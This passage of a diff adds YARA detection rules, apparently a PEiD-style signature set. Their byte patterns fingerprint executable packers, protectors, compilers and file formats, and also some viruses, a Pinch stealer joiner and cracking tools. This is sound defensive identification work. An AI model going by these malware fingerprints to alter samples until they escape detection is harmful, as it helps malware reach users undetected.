+		$1 = {6A 00 E8 95 01 00 00 E8 9F E6 FF FF 83 3D 03 50 40 00 00 75 14 68 C8 AF 00 00 E8 01 E1 FF FF 05 88 13 00 00 A3 03 50 40 00 68 5C 57 40 00 68 F6 30 40 00 FF 35 03 50 40 00 E8 B0 EA FF FF E8 3A FC FF FF 83 3D 54 57 40 00 00 74 05 E8 F3 FA FF FF 68 E8 03 00 00 E8 B1 00 00 00 EB F4 CC FF 25 A4 40 40 00 FF 25 B8 40 40 00 FF 25 B4 40 40 00 FF 25 B0 40 40 00 FF 25 AC 40 40 00 FF 25 9C 40 40 00 FF 25 A0 40 40 00 FF 25 A8 40 40 00 FF 25 24 40 40 00 FF 25 28 40 40 00 FF 25 2C 40 40 00 FF 25 30 40 40 00 FF 25 34 40 40 00 FF 25 38 40 40 00 FF 25 3C 40 40 00 FF 25 40 40 40 00 FF 25 44 40 40 00 FF 25 48 40 40 00 FF 25 4C 40 40 00 FF 25 50 40 40 00 FF 25 54 40 40 00 FF 25 58 40 40 00 FF 25 5C 40 40 00 FF 25 60 40 40 00 FF 25 BC 40 40 00 FF 25 64 40 40 00 FF 25 68 40 40}
+	condition:
+		$0 or $1
+}
+rule _MSLRH_v032a_fake_PEX_099__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PEX 0.99) -> emadicius (h)"
+	strings:
+		$0 = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED FF 22 40 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_10b__Ashkbiz_Danehkar_h_
+{
+	meta:
+		description = "yoda's Protector 1.0b -> Ashkbiz Danehkar (h)"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01}
+	condition:
+		$0
+}
+rule _Thinstall_V27X__Jitit_
+{
+	meta:
+		description = "Thinstall V2.7X -> Jitit"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _DotFix_NiceProtect_vna_
+{
+	meta:
+		description = "DotFix NiceProtect vna"
+	strings:
+		$0 = {60 E8 55 00 00 00 8D BD 00 10 40 00 68 ?? ?? ?? 00 03 3C 24 8B F7 90 68 31 10 40 00 9B DB E3 55 DB 04 24 8B C7 DB 44 24 04 DE C1 DB 1C 24 8B 1C 24 66 AD 51 DB 04 24 90 90 DA 8D 77 10 40 00 DB 1C 24 D1 E1 29}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v1111_
+{
+	meta:
+		description = "Obsidium v1.1.1.1"
+	strings:
+		$0 = {EB 02 ?? ?? E8 E7 1C 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_10__Cyberbob_h_
+{
+	meta:
+		description = "PESpin 1.0 -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 C8 DC 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0
+}
+rule _IMPostor_Pack_10__Mahdi_Hezavehi_
+{
+	meta:
+		description = "IMPostor Pack 1.0 -> Mahdi Hezavehi"
+	strings:
+		$0 = {BE ?? ?? ?? 00 83 C6 01 FF E6 00 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? 02 ?? ?? 00 10 00 00 00 02 00}
+	condition:
+		$0 at entrypoint
+}
+rule _LGLZ_v104_com_
+{
+	meta:
+		description = "LGLZ v1.04 [com"
+	strings:
+		$0 = {BF ?? ?? 3B FC 72 19 B4 09 BA 12 01 CD 21 B4 4C CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _PEPACK_099_
+{
+	meta:
+		description = "PE-PACK 0.99"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 80 BD E0 04 00 00 01 0F 84 F2}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_22x__SoftComplete_Developement_
+{
+	meta:
+		description = "EXECryptor 2.2.x -> SoftComplete Developement"
+	strings:
+		$0 = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF}
+	condition:
+		$0
+}
+rule _PECompact_v20_
+{
+	meta:
+		description = "PECompact v2.0"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE2COM_regular_
+{
+	meta:
+		description = "EXE2COM (regular)"
+	strings:
+		$0 = {E9 8C CA 81 C3 ?? ?? 3B 16 ?? ?? 76 ?? BA ?? ?? B4 09 CD 21 CD 20 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_Borland_Cpp_DLL_Method_2_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland C++ DLL (Method 2)]"
+	strings:
+		$0 = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Cracked_by_Autohack_2_
+{
+	meta:
+		description = "Cracked by Autohack (2)"
+	strings:
+		$0 = {0E 1F B4 09 BA ?? ?? CD 21 FA 8E 06 ?? ?? BE ?? ?? 8B 0E ?? ?? 83 F9}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_CAB_SFX_module_
+{
+	meta:
+		description = "Microsoft CAB SFX module"
+	strings:
+		$0 = {55 8B EC 83 EC 44 56 FF 15 ?? 10 00 01 8B F0 8A 06 3C 22 75 14 8A 46 01 46 84 C0 74 04 3C 22 75 F4 80 3E 22 75 0D ?? EB 0A 3C 20}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1333__Obsidium_Software__SignByhaggar_
+{
+	meta:
+		description = "Obsidium 1.3.3.3 -> Obsidium Software * Sign.By.haggar"
+	strings:
+		$0 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 28 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 04 ?? ?? ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 58 EB 01 ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 04 ?? ?? ?? ?? E8 2B 27}
+	condition:
+		$0 at entrypoint
+}
+rule _PrincessSandy_10_eMiNENCE_Process_Patcher_Patch_
+{
+	meta:
+		description = "PrincessSandy 1.0 eMiNENCE Process Patcher Patch"
+	strings:
+		$0 = {68 27 11 40 00 E8 3C 01 00 00 6A 00 E8 41 01 00 00 A3 00 20 40 00 8B 58 3C 03 D8 0F B7 43 14 0F B7 4B 06 8D 7C 18 18 81 3F 2E 4C 4F 41 74 0B 83 C7 28 49 75 F2 E9 A7 00 00 00 8B 5F 0C 03 1D 00 20 40 00 89 1D 04 20 40 00 8B FB 83 C7 04 68 4C 20 40 00 68 08}
+	condition:
+		$0
+}
+rule _Microsoft_Visual_C_v20_
+{
+	meta:
+		description = "Microsoft Visual C v2.0"
+	strings:
+		$0 = {53 56 57 BB ?? ?? ?? ?? 8B ?? ?? ?? 55 3B FB 75}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v300_v301_Extractable_
+{
+	meta:
+		description = "WWPACK v3.00, v3.01 (Extractable)"
+	strings:
+		$0 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 6A ?? 06 06 8C D3 83 ?? ?? 53 6A ?? FC}
+	condition:
+		$0 at entrypoint
+}
+rule _vprotector_13__vcasm_
+{
+	meta:
+		description = "vprotector 1.3 -> vcasm"
+	strings:
+		$0 = {E9 B9 16 00 00 55 8B EC 81 EC 74 04 00 00 57 68}
+	condition:
+		$0 at entrypoint
+}
+rule _UPack_011_
+{
+	meta:
+		description = "UPack 0.11"
+	strings:
+		$0 = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 1C F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 03 B3 00 8D 1C 5B 8D 9C 9E 0C 10 00 00 B0 01 67 E3 29 8B D7}
+	condition:
+		$0
+}
+rule _Armadillo_v190b4_
+{
+	meta:
+		description = "Armadillo v1.90b4"
+	strings:
+		$0 = {55 8B EC 6A FF 68 08 E2 40 00 68 B4 96 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _ProActivate_V10X__TurboPower_Software_Company_
+{
+	meta:
+		description = "ProActivate V1.0X -> TurboPower Software Company"
+	strings:
+		$0 = {55 8B EC B9 0E 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? ?? ?? ?? 90 90 90 90 90 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? 83 C0 05 A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0D 00 00 00 E8 85 E2 FF FF 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 7A 81 3D}
+	condition:
+		$0 at entrypoint
+}
+rule __v10___
+{
+	meta:
+		description = "ÎļþÀ¦°óÆ÷ v1.0 -> ÐíÔÆ"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 89 E5 6A FF 68 1C 30 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__bartxt__Watcom_CCpp_EXE_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> bart/xt -> (Watcom C/C++ EXE)"
+	strings:
+		$0 = {EB 02 CD 20 03 ?? 8D ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 02}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Cpp_for_Win32_1994_
+{
+	meta:
+		description = "Borland C++ for Win32 1994"
+	strings:
+		$0 = {A1 ?? ?? ?? ?? C1 ?? ?? A3 ?? ?? ?? ?? 83 ?? ?? ?? ?? 75 ?? 57 51 33 C0 BF}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_v21_1_
+{
+	meta:
+		description = "Petite v2.1 (1)"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_239_compressed_resources__wwwstrongbitcom_
+{
+	meta:
+		description = "EXECryptor 2.3.9 (compressed resources) -> www.strongbit.com"
+	strings:
+		$0 = {51 68 ?? ?? ?? ?? 59 81 F1 12 3C CB 98 E9 53 2C 00 00 F7 D7 E9 EB 60 00 00 83 45 F8 02 E9 E3 36 00 00 F6 45 F8 20 0F 84 1E 21 00 00 55 E9 80 62 00 00 87 0C 24 8B E9 ?? ?? ?? ?? 00 00 23 C1 81 E9 ?? ?? ?? ?? 57 E9 ED 00 00 00 0F 88 ?? ?? ?? ?? E9 2C 0D 00}
+	condition:
+		$0
+}
+rule _kkrunchy__Ryd_
+{
+	meta:
+		description = "kkrunchy -> Ryd"
+	strings:
+		$0 = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10}
+		$1 = {BD 08 ?? ?? 00 C7 45 00 ?? ?? ?? 00 FF 4D 08 C6 45 0C 05 8D 7D 14 31 C0 B4 04 89 C1 F3 AB BF ?? ?? ?? 00 57 BE ?? ?? ?? 00 31 C9 41 FF 4D 0C 8D 9C 8D A0 00 00 00 FF D6 10 C9 73 F3 FF 45 0C 91 AA 83 C9 FF 8D 5C 8D 18 FF D6 74 DD E3 17 8D 5D 1C FF D6 74 10 8D 9D A0 08 00 00 E8 EB 00 00 00 8B 45 10 EB 42 8D 9D A0 04 00 00 E8 DB 00 00 00 49 49 78 40 8D 5D 20 74 03 83 C3 40 31 D2 42 E8 BD 00 00 00 8D 0C 48 F6 C2 10 74 F3 41 91 8D 9D A0 08 00 00 E8 B2 00 00 00 3D 00 08 00 00 83 D9 FF 83 F8 60 83 D9 FF 89 45 10 56 89 FE 29 C6 F3 A4 5E EB 90 BE ?? ?? ?? 00 BB ?? ?? ?? 00 55 46 AD 85 C0 74 29 97 56 FF 13 85 C0 74 16 95 AC 84 C0 75 FB 38 06 74 E8 78 0D 56 55 FF 53 04 AB 85 C0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PE_Lock_NT_v202c_
+{
+	meta:
+		description = "PE Lock NT v2.02c"
+	strings:
+		$0 = {EB 02 C7 85 1E EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 02 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_DEF_10_
+{
+	meta:
+		description = "PseudoSigner 0.2 [DEF 1.0]"
+	strings:
+		$0 = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_251Beta_2__252__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 2.5.1(Beta 2) / 2.5.2 -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 ?? 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? ?? 40 00 E8 ?? EA FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 BA ?? ?? 40 00 B8 ?? ?? 40 00 E8 63 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? ?? FF FF BA ?? ?? 40 00 8B C3 8B 0D ?? ?? 40 00 E8}
+		$1 = {55 8B EC B9 ?? 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? ?? 40 00 E8 ?? EA FF FF 33 C0 55 68 ?? ?? 40 00 64 FF 30 64 89 20 BA ?? ?? 40 00 B8 ?? ?? 40 00 E8 63 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? ?? FF FF BA ?? ?? 40 00 8B C3 8B 0D ?? ?? 40 00 E8 ?? ?? FF FF C7 05 ?? ?? 40 00 0A 00 00 00 BB ?? ?? 40 00 BE ?? ?? 40 00 BF ?? ?? 40 00 B8 ?? ?? 40 00 BA 04 00 00 00 E8 ?? EB FF FF 83 3B 00 74 04 33 C0 89 03 8B D7 8B C6 E8 0A F3 FF FF 89 03 83 3B 00 0F 84 F7 04 00 00 B8 ?? ?? 40 00 8B 16 E8 ?? E1 FF FF B8 ?? ?? 40 00 E8 ?? E0 FF FF 8B D0 8B 03 8B 0E E8 ?? ?? FF FF 8B C7 A3 ?? ?? 40 00 8D 55 EC 33 C0 E8 ?? D3 FF FF 8B 45 EC B9 ?? ?? 40 00 BA ?? ?? 40 00 E8 8B ED FF FF 3C 01 75 2B A1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SDProtector_11x__Randy_Li_
+{
+	meta:
+		description = "SDProtector 1.1x -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v122_
+{
+	meta:
+		description = "PECompact v1.22"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 ?? 70 40 ?? 90 90 01 85 9E 70 40 ?? BB F3 08}
+	condition:
+		$0 at entrypoint
+}
+rule _Fish_PE_Shield_101__HellFish_
+{
+	meta:
+		description = "Fish PE Shield 1.01 -> HellFish"
+	strings:
+		$0 = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89}
+		$1 = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC 83 7D DC 00 75 08 E8 AD FF FF FF 89 45 DC E8 C1 FE FF FF 8B 10 03 55 DC 89 55 E4 83 C0 04 8B 10 89 55 FC 83 C0 04 8B 10 89 55 F4 83 C0 04 8B 10 89 55 F8 83 C0 04 8B 10 89 55 F0 83 C0 04 8B 10 89 55 EC 83 C0 04 8B 00 89 45 E8 8B 45 E4 8B 58 04 03 5D E4 8B FB 8B 45 E4 8B 30 4E 85 F6 72 2B 46 C7 45 E0 00 00 00 00 83 7B 04 00 74 14}
+		$2 = {60 E8 12 FE FF FF C3 90 09 00 00 00 2C 00 00 00}
+		$3 = {60 E8 12 FE FF FF C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 28 88 00 00 40 ?? 4B 00 00 00 02 00 00 00 A0 00 00 18 01 00 00 40 ?? 4C 00 00 00 0C 00 00 00 B0 00 00 38 0A 00 00 40 ?? 4E 00 00 00 00 00 00 00 C0 00 00 40 39 00 00 40 ?? 4E 00 00 00 08 00 00 00 00 01 00 C8 06 00 00 40}
+	condition:
+		$0 or $1 or $2 at entrypoint or $3 at entrypoint
+}
+rule _ASProtect_v12x_
+{
+	meta:
+		description = "ASProtect v1.2x"
+	strings:
+		$0 = {00 00 68 01 ?? ?? ?? C3 AA}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_vxx_
+{
+	meta:
+		description = "Thinstall vx.x"
+	strings:
+		$0 = {B8 EF BE AD DE 50 6A ?? FF 15 10 19 40 ?? E9 AD FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v04x__v05x_
+{
+	meta:
+		description = "tElock v0.4x - v0.5x"
+	strings:
+		$0 = {C1 EE 00 66 8B C9 EB 01 EB 60 EB 01 EB 9C E8 00 00 00 00 5E 83 C6 ?? 8B FE 68 79 01 ?? ?? 59 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v71_DLL_
+{
+	meta:
+		description = "Microsoft Visual C++ v7.1 DLL"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 75 09 83 3D ?? ?? 40 00 00 EB 26 83 FE 01 74 05 83 FE 02 75 22 A1}
+		$1 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 E4 53 56 57 89 65 E8 C7 45 E4 01 00 00 00 C7 45 FC}
+		$2 = {6A 0C 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 40 89 45 E4}
+		$3 = {83 7C 24 08 01 75 ?? ?? ?? 24 04 50 A3 ?? ?? ?? 50 FF 15 00 10 ?? 50 33 C0 40 C2 0C 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _PEtite_v20_
+{
+	meta:
+		description = "PEtite v2.0"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 66 9C 60 50 8B D8 03 ?? 68 54 BC ?? ?? 6A ?? FF 50 18 8B CC 8D A0 54 BC ?? ?? 8B C3 8D 90 E0 15 ?? ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_152__164_
+{
+	meta:
+		description = "XPack 1.52 - 1.64"
+	strings:
+		$0 = {8B EC FA 33 C0 8E D0 BC ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_v10___
+{
+	meta:
+		description = "½ÌÖ÷EXEÎļþÀ¦°óÆ÷ v1.0 -> ½ÌÖ÷"
+	strings:
+		$0 = {55 8B EC 6A FF 68 08 4B 40 00 68 36 3A 40 00 64 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _Norton_Speed_Disk_Configuration_file_
+{
+	meta:
+		description = "Norton Speed Disk Configuration file"
+	strings:
+		$0 = {4E 6F 72 74 6F 6E 20 53 70 65 65 64}
+	condition:
+		$0
+}
+rule _MSLRH_v032a_fake_yodas_cryptor_12__emadicius_h_
+{
+	meta:
+		description = "MSLRH v0.32a (fake yoda's cryptor 1.2) -> emadicius (h)"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC 90 2C 8A C0 C0 78 90 04 62 EB 01 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Amiga_AIFF_8SFX_Audio_file_
+{
+	meta:
+		description = "Amiga AIFF 8SFX Audio file"
+	strings:
+		$0 = {46 4F 52 4D ?? ?? ?? ?? 38 53 56 58 56 48 44 52}
+	condition:
+		$0
+}
+rule _GameGuard_v20065xx_exe_
+{
+	meta:
+		description = "GameGuard v2006.5.x.x (*.exe)"
+	strings:
+		$0 = {31 FF 74 06 61 E9 4A 4D 50 30 5A BA 7D 00 00 00 80 7C 24 08 01 E9 00 00 00 00 60 BE 00}
+	condition:
+		$0 at entrypoint
+}
+rule _XCF_File_Format_by_Adeline_Software_
+{
+	meta:
+		description = "XCF File Format by Adeline Software"
+	strings:
+		$0 = {46 72 61 6D 65 4C 65 6E F4 0F}
+	condition:
+		$0
+}
+rule _Symantec_WinFax_PRO_83_Coverpage_
+{
+	meta:
+		description = "Symantec WinFax PRO 8.3 Coverpage"
+	strings:
+		$0 = {0C BD 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C0 06 6C}
+	condition:
+		$0
+}
+rule _vfpexeNc_v600__Wang_JianGuo_
+{
+	meta:
+		description = "vfp&exeNc v6.00 -> Wang JianGuo"
+	strings:
+		$0 = {60 E8 01 00 00 00 63 58 E8 01 00 00 00 7A 58 2D 0D 10 40 00 8D 90 C1 10 40 00 52 50 8D 80 49 10 40 00 5D 50 8D 85 65 10 40 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _Joiner_sign_from_pinch_25032007_2010_
+{
+	meta:
+		description = "Joiner (sign from pinch 25.03.2007 20:10)"
+	strings:
+		$0 = {81 EC 04 01 00 00 8B F4 68 04 01 00 00 56 6A 00 E8 7C 01 00 00 33 C0 6A 00 68 80 00 00 00 6A 03 6A 00 6A 00 68 00 00 00 80 56 E8 50 01 00 00 8B D8 6A 00 6A 00 6A 00 6A 02 6A 00 53 E8 44 01}
+	condition:
+		$0 at entrypoint
+}
+rule _WATCOM_CCpp_DLL_
+{
+	meta:
+		description = "WATCOM C/C++ DLL"
+	strings:
+		$0 = {53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v099_
+{
+	meta:
+		description = "PECompact v0.99"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 2F 85 40 ?? 87 DD 8B 85 B4 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_XPEH4768_
+{
+	meta:
+		description = "Vx: XPEH.4768"
+	strings:
+		$0 = {E8 ?? ?? 5B 81 ?? ?? ?? 50 56 57 2E ?? ?? ?? ?? ?? 2E ?? ?? ?? ?? ?? ?? B8 01 00 50 B8 ?? ?? 50 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PeX_099_Eng__bartCrackPl_
+{
+	meta:
+		description = "PeX 0.99 (Eng) -> bart/CrackPl"
+	strings:
+		$0 = {E9 F5 00 00 00 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4}
+	condition:
+		$0
+}
+rule _Vx_ACME_Clonewar_Mutant_
+{
+	meta:
+		description = "Vx: ACME (Clonewar Mutant)"
+	strings:
+		$0 = {FC AD 3D FF FF 74 20 E6 42 8A C4 E6 42 E4 61 0C 03 E6 61 AD B9 40 1F E2 FE}
+	condition:
+		$0 at entrypoint
+}
+rule _PCGuard_v500d_
+{
+	meta:
+		description = "PC-Guard v5.00d"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 30 D2 40 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 85 E1 EA 41 00 9C EB 01 D5 9D EB 01 0B 58 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 89 85 F9 EA 41 00 9C EB 01 D5 9D EB 01 0B 89 9D E5 EA 41 00 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 8D E9 EA 41 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 89 95 ED EA 41 00 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 B5 F1 EA 41 00 9C EB 01 D5 9D EB 01 0B 89}
+	condition:
+		$0 at entrypoint
+}
+rule _PluginToExe_v100__BoB__BobSoft_
+{
+	meta:
+		description = "PluginToExe v1.00 -> BoB / BobSoft"
+	strings:
+		$0 = {E8 00 00 00 00 29 C0 5D 81 ED D1 40 40 00 50 FF 95 B8 40 40 00 89 85 09 40 40 00 FF 95 B4 40 40 00 89 85 11 40 40 00 50 FF 95 C0 40 40 00 8A 08 80 F9 22 75 07 50 FF 95 C4 40 40 00 89 85 0D 40 40 00 8B 9D 09 40 40 00 60 6A 00 6A 01 53 81 C3 ?? ?? ?? 00 FF D3 61 6A 00 68 44 69 45 50 FF B5 0D 40 40 00 6A 00 81 C3 ?? ?? ?? 00 FF D3 83 C4 10 FF 95 B0 40 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Sun_Icon_Graphics_format_
+{
+	meta:
+		description = "Sun Icon Graphics format"
+	strings:
+		$0 = {2F 2A 20 46 6F 72 6D 61 74 5F 76 65 72 73 69 6F 6E 3D 31 2C}
+	condition:
+		$0
+}
+rule _aPack_v098b_com_
+{
+	meta:
+		description = "aPack v0.98b (com)"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? 8B CF FC 57 F3 A4 C3 BF ?? ?? 57 57 BE ?? ?? B2 ?? BD ?? ?? 50 A4}
